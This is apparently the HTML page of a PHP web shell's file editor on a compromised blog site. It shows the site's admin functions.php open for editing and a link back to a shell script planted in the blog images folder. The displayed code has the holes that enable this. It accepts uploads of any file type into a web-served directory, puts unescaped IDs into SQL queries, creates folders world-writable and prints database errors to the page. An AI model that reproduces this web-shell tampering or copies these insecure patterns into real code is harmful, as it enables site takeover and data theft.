<h2>Edit File - functions.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/yulongproveg/public_html/admin/includes/functions.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
function getAllBlogs($conn) {
  return $conn-&gt;query(&quot;SELECT * FROM blogs ORDER BY id DESC&quot;)-&gt;fetch_all(MYSQLI_ASSOC);
}

function getBlogById($conn, $id) {
  $stmt = $conn-&gt;prepare(&quot;SELECT * FROM blogs WHERE id=?&quot;);
  $stmt-&gt;bind_param(&quot;i&quot;, $id);
  $stmt-&gt;execute();
  return $stmt-&gt;get_result()-&gt;fetch_assoc();
}

function addBlog($conn, $data, $files) {

    $title = $conn-&gt;real_escape_string(trim($data[&#039;title&#039;]));
    $short = $conn-&gt;real_escape_string(trim($data[&#039;short_desc&#039;]));
    $desc = $conn-&gt;real_escape_string($data[&#039;description&#039;]);

    // Generate slug automatically if not provided
    if (!empty($data[&#039;slug&#039;])) {
        $slug = strtolower(trim($data[&#039;slug&#039;]));
    } else {
        $slug = strtolower($title);
    }

    $slug = preg_replace(&#039;/[^a-z0-9\s-]/&#039;, &#039;&#039;, $slug);
    $slug = preg_replace(&#039;/\s+/&#039;, &#039;-&#039;, $slug);
    $slug = preg_replace(&#039;/-+/&#039;, &#039;-&#039;, $slug);

    $slug = $conn-&gt;real_escape_string($slug);

    $img = uploadImage($files[&#039;image&#039;]);

    $sql = &quot;
        INSERT INTO blogs
        (title, slug, short_desc, description, image)
        VALUES
        (&#039;$title&#039;, &#039;$slug&#039;, &#039;$short&#039;, &#039;$desc&#039;, &#039;$img&#039;)
    &quot;;

    return $conn-&gt;query($sql);
}


function updateBlog($conn, $id, $data, $files) {
    $title = $conn-&gt;real_escape_string(trim($data[&#039;title&#039;]));
    $slug = $conn-&gt;real_escape_string(trim($data[&#039;slug&#039;]));
    $short = $conn-&gt;real_escape_string(trim($data[&#039;short_desc&#039;]));
    $desc = $conn-&gt;real_escape_string($data[&#039;description&#039;]);
    
    $meta_title = isset($data[&#039;meta_title&#039;]) ? $conn-&gt;real_escape_string($data[&#039;meta_title&#039;]) : &#039;&#039;;
    $meta_description = isset($data[&#039;meta_description&#039;]) ? $conn-&gt;real_escape_string($data[&#039;meta_description&#039;]) : &#039;&#039;;
    $publish_date = isset($data[&#039;publish_date&#039;]) ? $conn-&gt;real_escape_string($data[&#039;publish_date&#039;]) : date(&#039;Y-m-d&#039;);

    // Get existing blog data
    $existingBlog = getBlogById($conn, $id);
    $img = $existingBlog[&#039;image&#039;]; // default to old image

    $uploadPath = &quot;/home/yulongproveg/public_html/blog/images/&quot;;

    // Create folder if missing
    if (!is_dir($uploadPath)) {
        mkdir($uploadPath, 0777, true);
    }

    // 1. If a new image is uploaded -&gt; upload it
    if (!empty($files[&#039;image&#039;][&#039;name&#039;])) {
        $newFileName = time() . &#039;_&#039; . basename($files[&#039;image&#039;][&#039;name&#039;]);
        move_uploaded_file($files[&#039;image&#039;][&#039;tmp_name&#039;], $uploadPath . $newFileName);
        $img = $newFileName;
    }
    // 2. If no new image is uploaded AND old image is empty -&gt; try to upload anyway
    elseif (empty($existingBlog[&#039;image&#039;]) &amp;&amp; !empty($files[&#039;image&#039;][&#039;name&#039;])) {
        $newFileName = time() . &#039;_&#039; . basename($files[&#039;image&#039;][&#039;name&#039;]);
        move_uploaded_file($files[&#039;image&#039;][&#039;tmp_name&#039;], $uploadPath . $newFileName);
        $img = $newFileName;
    }

    $sql = &quot;UPDATE blogs SET
        title=&#039;$title&#039;,
        slug=&#039;$slug&#039;,
        short_desc=&#039;$short&#039;,
        description=&#039;$desc&#039;,
        image=&#039;$img&#039;
        WHERE id=&#039;$id&#039;&quot;;

        if (!$conn-&gt;query($sql)) {
            die(&quot;Query Failed: &quot; . $conn-&gt;error . &quot;&lt;br&gt;&lt;br&gt;SQL: &quot; . $sql);
        }
        
        return true;
}


function deleteBlog($conn, $id) {
  $conn-&gt;query(&quot;DELETE FROM blogs WHERE id=$id&quot;);
}

function uploadImage($file){

    if (
        !isset($file[&#039;tmp_name&#039;]) ||
        empty($file[&#039;tmp_name&#039;]) ||
        $file[&#039;error&#039;] != UPLOAD_ERR_OK
    ) {
        return &quot;&quot;;
    }

    $targetDir = &quot;/home/yulongproveg/public_html/blog/images/&quot;;

    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0777, true);
    }

    $ext = strtolower(pathinfo($file[&#039;name&#039;], PATHINFO_EXTENSION));
    $filename = time() . &quot;_&quot; . preg_replace(&#039;/[^a-zA-Z0-9._-]/&#039;, &#039;_&#039;, basename($file[&#039;name&#039;]));

    $destination = $targetDir . $filename;

    // Use copy() because move_uploaded_file() is unavailable
    if (copy($file[&#039;tmp_name&#039;], $destination)) {
        return $filename;
    }

    return &quot;&quot;;
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>